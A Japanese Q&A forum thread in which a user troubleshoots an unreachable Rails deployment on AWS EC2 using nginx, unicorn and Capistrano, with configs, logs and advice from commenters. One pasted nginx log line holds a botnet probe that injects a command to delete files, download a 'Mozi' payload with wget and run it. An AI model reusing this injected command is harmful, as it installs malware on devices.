質問をすることでしか得られない、回答やアドバイスがある。

15分調べてもわからないことは、質問しよう!

ただいまの
回答率

88.58%

AWS このサイトにアクセスできませんと表示される時の解決策をご教授願います

受付中

回答 1

投稿 編集

  • 評価
  • クリップ 0
  • VIEW 804

sinzanmono46

score 6

現状

railsとAWSを使ってデプロイ作業をしております。
capistranoで実行し、エラーはなく完了しますが、ブラウザに
このサイトにアクセスできません。
応答時間が長すぎます。

と表示されます。

試したこと/確認したこと

・ps aux | grep nginxで、nginxが起動していることは確認済み
・EC2インスタンスの再起動(nginx,mysqldの再起動もその後行ってます)
・sudo vim /etc/nginx/conf.d/rails.confでserver_nameのアドレスの確認(nginx)
・unicorn.rbのtimeoutを延長
・ポートの確認(AWSセキュリティーグループ)
タイプ プロトコル ポート範囲 ソース
HTTP TCP    80   0.0.0.0/0
HTTP TCP    80   ::/0
SSH  TCP    22   0.0.0.0/0
TCPルール TCP  3000  0.0.0.0/0

開発環境

rails 6.0.1
ruby 2.5.1
capistrano
nginx(Webサーバー)
unicorn(アプリケーションサーバー)
AWS

仮説

IPアドレスに問題があるかと思いましたが、AWSのインスタンスを見ると
CPU使用率が動いているため、問題なく起動はできていると考えています。
capistranoも問題なく実行完了するので、nginxに原因があると考えていますが、
server_nameの後に記述するIPアドレスに問題はありませんでした。
恐れ入りますが、是非ご教授の程、宜しくお願い申し上げます。

追記事項

nginxのログでは以下のエラー文が出ておりました。
/var/log/nginx/error.log
2019/12/31 07:36:25 [error] 2790#0: *5 open() "/usr/share/nginx/html/setup.cgi" failed (2: No such file or directory), client: 223.149.4.237, server: localhost, request: "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0"

unicornのアクセスを確認したところ、無事届いており、エラーもございませんでした。

unicorn.stderr.log

I, [2020-01-01T09:49:56.012620 #4384]  INFO -- : reaped #<Process::Status: pid 4475 exit 0> worker=0
I, [2020-01-01T09:49:56.012756 #4384]  INFO -- : master complete
I, [2020-01-01T09:51:29.081910 #9591]  INFO -- : Refreshing Gem list
I, [2020-01-01T09:51:31.224148 #9591]  INFO -- : unlinking existing socket=/var/www/datingapp/shared/tmp/sockets/unicorn.sock
I, [2020-01-01T09:51:31.224805 #9591]  INFO -- : listening on addr=/var/www/datingapp/shared/tmp/sockets/unicorn.sock fd=11
I, [2020-01-01T09:51:31.230850 #9591]  INFO -- : master process ready
I, [2020-01-01T09:51:31.238254 #9595]  INFO -- : worker=0 ready
I, [2020-01-01T09:51:31.633474 #9629]  INFO -- : executing ["/var/www/datingapp/shared/bundle/ruby/2.5.0/bin/unicorn", "-c", "/var/www/datingapp/current/config/unicorn.rb", "-E", "deployment", "-D", {11=>#<Kgio::UNIXServer:/var/www/datingapp/shared/tmp/sockets/unicorn.sock>}] (in /var/www/datingapp/releases/20200101095032)
I, [2020-01-01T09:51:31.633564 #9629]  INFO -- : forked child re-executing...
I, [2020-01-01T09:51:31.891319 #9629]  INFO -- : inherited addr=/var/www/datingapp/shared/tmp/sockets/unicorn.sock fd=11
I, [2020-01-01T09:51:31.891578 #9629]  INFO -- : Refreshing Gem list
I, [2020-01-01T09:51:34.148980 #9629]  INFO -- : master process ready
I, [2020-01-01T09:51:34.153002 #9720]  INFO -- : worker=0 ready
I, [2020-01-01T09:51:34.241907 #9591]  INFO -- : reaped #<Process::Status: pid 9595 exit 0> worker=0
I, [2020-01-01T09:51:34.242007 #9591]  INFO -- : master complete

/etc/nginx/conf.d/rails.conf

upstream app_server {
  server unix:/var/www/datingapp/shared/tmp/sockets/unicorn.sock;
}

server {
  listen 80;
  server_name 18.176.69.6;

  root /var/www/datingapp/current/public;

  location ^~ /assets/ {
    gzip_static on;
    expires max;
    add_header Cache-Control public;
    root   /var/www/datingapp/current/public;
  }

  try_files $uri/index.html $uri @unicorn;

  location @unicorn {
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_set_header Host $http_host;
    proxy_redirect off;
    proxy_pass http://app_server;
  }

  error_page 500 502 503 504 /500.html;
}

sudo nginx -t 実行結果

nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful

/etc/nginx/nginx.conf

user nginx;
worker_processes auto;
error_log /var/log/nginx/error.log;
pid /var/run/nginx.pid;

include /usr/share/nginx/modules/*.conf;

events {
    worker_connections 1024;
}

http {
    log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"';

    access_log  /var/log/nginx/access.log  main;

    sendfile            on;
    tcp_nopush          on;
    tcp_nodelay         on;
    keepalive_timeout   65;
    types_hash_max_size 2048;

    include             /etc/nginx/mime.types;
    default_type        application/octet-stream;

    include /etc/nginx/conf.d/*.conf;

    index   index.html index.htm;

    server {
        listen       80 default_server;
        listen       [::]:80 default_server;
        server_name  localhost;
        root         /usr/share/nginx/html;

        include /etc/nginx/default.d/*.conf;

        location / {
        }

config/puma.rb

max_threads_count = ENV.fetch("RAILS_MAX_THREADS") { 5 }
min_threads_count = ENV.fetch("RAILS_MIN_THREADS") { max_threads_count }
threads min_threads_count, max_threads_count

port        ENV.fetch("PORT") { 3000 }

environment ENV.fetch("RAILS_ENV") { "development" }

pidfile ENV.fetch("PIDFILE") { "tmp/pids/server.pid" }

plugin :tmp_restart

config.unicorn.rb

app_path = File.expand_path('../../../', __FILE__)

worker_processes 1

working_directory "#{app_path}/current"

pid "#{app_path}/shared/tmp/pids/unicorn.pid"
#listen 3000
listen "#{app_path}/shared/tmp/sockets/unicorn.sock"

stderr_path "#{app_path}/shared/log/unicorn.stderr.log"

stdout_path "#{app_path}/shared/log/unicorn.stdout.log"

timeout 120

preload_app true
GC.respond_to?(:copy_on_write_friendly=) && GC.copy_on_write_friendly = true

check_client_connection false

run_once = true

before_fork do |server, worker|
  defined?(ActiveRecord::Base) &&
    ActiveRecord::Base.connection.disconnect!

  if run_once
    run_once = false # prevent from firing again
  end

  old_pid = "#{server.config[:pid]}.oldbin"
  if File.exist?(old_pid) && server.pid != old_pid
    begin
      sig = (worker.nr + 1) >= server.worker_processes ? :QUIT : :TTOU
      Process.kill(sig, File.read(old_pid).to_i)
    rescue Errno::ENOENT, Errno::ESRCH => e
      logger.error e
    end
  end
end

after_fork do |_server, _worker|
  defined?(ActiveRecord::Base) && ActiveRecord::Base.establish_connection
end

gem list mysql 実行結果

mysql2 (0.5.2)

  • 気になる質問をクリップする

    クリップした質問は、後からいつでもマイページで確認できます。

    またクリップした質問に回答があった際、通知やメールを受け取ることができます。

    クリップを取り消します

  • 良い質問の評価を上げる

    以下のような質問は評価を上げましょう

    • 質問内容が明確
    • 自分も答えを知りたい
    • 質問者以外のユーザにも役立つ

    評価が高い質問は、TOPページの「注目」タブのフィードに表示されやすくなります。

    質問の評価を上げたことを取り消します

  • 評価を下げられる数の上限に達しました

    評価を下げることができません

    • 1日5回まで評価を下げられます
    • 1日に1ユーザに対して2回まで評価を下げられます

    質問の評価を下げる

    teratailでは下記のような質問を「具体的に困っていることがない質問」、「サイトポリシーに違反する質問」と定義し、推奨していません。

    • プログラミングに関係のない質問
    • やってほしいことだけを記載した丸投げの質問
    • 問題・課題が含まれていない質問
    • 意図的に内容が抹消された質問
    • 過去に投稿した質問と同じ内容の質問
    • 広告と受け取られるような投稿

    評価が下がると、TOPページの「アクティブ」「注目」タブのフィードに表示されにくくなります。

    質問の評価を下げたことを取り消します

    この機能は開放されていません

    評価を下げる条件を満たしてません

    評価を下げる理由を選択してください

    詳細な説明はこちら

    上記に当てはまらず、質問内容が明確になっていない質問には「情報の追加・修正依頼」機能からコメントをしてください。

    質問の評価を下げる機能の利用条件

    この機能を利用するためには、以下の事項を行う必要があります。

質問への追記・修正、ベストアンサー選択の依頼

  • sinzanmono46

    2020/01/02 15:01

    同様のレスポンスしか得られませんでした。

    設定していません!

    キャンセル

  • rubytomato

    2020/01/02 21:25

    nginxのwelcomeページが表示できないことには先に進めないので、まずはそれを解決することを優先した方がいいと思います。
    ただ、ローカルPCからsshでログインできるのであれば、同じセキュリティグループのhttp(80)やtcp(3000)も有効だろうと思います。(なので、そこがとても不思議です)

    nginxが正常なレスポンスを返すことを確認するために、nginxを起動したらnginxと同じec2インスタンスからcurl -v http://localhost で正常なレスポンスが返るか確認してみてください。
    正常なレスポンスが返らない場合は、nginxが起動しているか、nginxのドキュメントルートにindex.htmlが存在するかを確認してください。

    curlで正常なレスポンスを確認できたら、ローカルPCからアクセスしてみてください。
    ブラウザでのアクセスについては、たまにエラーページがキャッシュされて、サーバ側は正常なのにエラーページを表示し続けるといったこともあるようなので注意が必要です。
    chromeの場合はキャッシュのクリア方法がいくつかあるようなので調べてみてください。

    nginxのwelcomeページが表示されれば、残りの問題はすぐに解決できるように思います。が、表示できない場合は、nginxのwelcomeページが表示できない等の内容で新しく質問を立てた方が解決が早いかもしれません。
    その場合はどのようにVPC、EC2インスタンスを作成し、nginxをインストールしたか説明できると回答が付きやすいと思います。

    それと下記にAWSのトラブルシューティングのページのリンクを記載しておきますのでお時間があればご一読ください。

    インスタンスへの接続エラー: 接続タイムアウト
    https://docs.aws.amazon.com/ja_jp/AWSEC2/latest/UserGuide/TroubleshootingInstancesConnecting.html#TroubleshootingInstancesConnectionTimeout

    キャンセル

  • take88

    2020/01/03 16:29

    >curl -I https://18.176.69.6/(IPアドレス)コマンドを入力すると、
    >curl: (7) Failed to connect to 18.176.69.6 port 443: Connection timed out

    https(tcp/443)でアクセスしてますが、http(tcp/80) でアクセスしてください。
    443はセキュリティグループで許可していないので繋がりませんよ。

    キャンセル

回答 1

0

セキュリティポリシーで、80番が外部からアクセス可能になるよう設定してありますか?

投稿

  • 回答の評価を上げる

    以下のような回答は評価を上げましょう

    • 正しい回答
    • わかりやすい回答
    • ためになる回答

    評価が高い回答ほどページの上位に表示されます。

  • 回答の評価を下げる

    下記のような回答は推奨されていません。

    • 間違っている回答
    • 質問の回答になっていない投稿
    • スパムや攻撃的な表現を用いた投稿

    評価を下げる際はその理由を明確に伝え、適切な回答に修正してもらいましょう。

  • 2019/12/31 19:13

    ソースに記述する、0.0.0.0/0や、::/0が全てを許可するという認識だったのですが、違うのでしょうか?

    キャンセル

15分調べてもわからないことは、teratailで質問しよう!

  • ただいまの回答率 88.58%
  • 質問をまとめることで、思考を整理して素早く解決
  • テンプレート機能で、簡単に質問をまとめられる

関連した質問

同じタグがついた質問を見る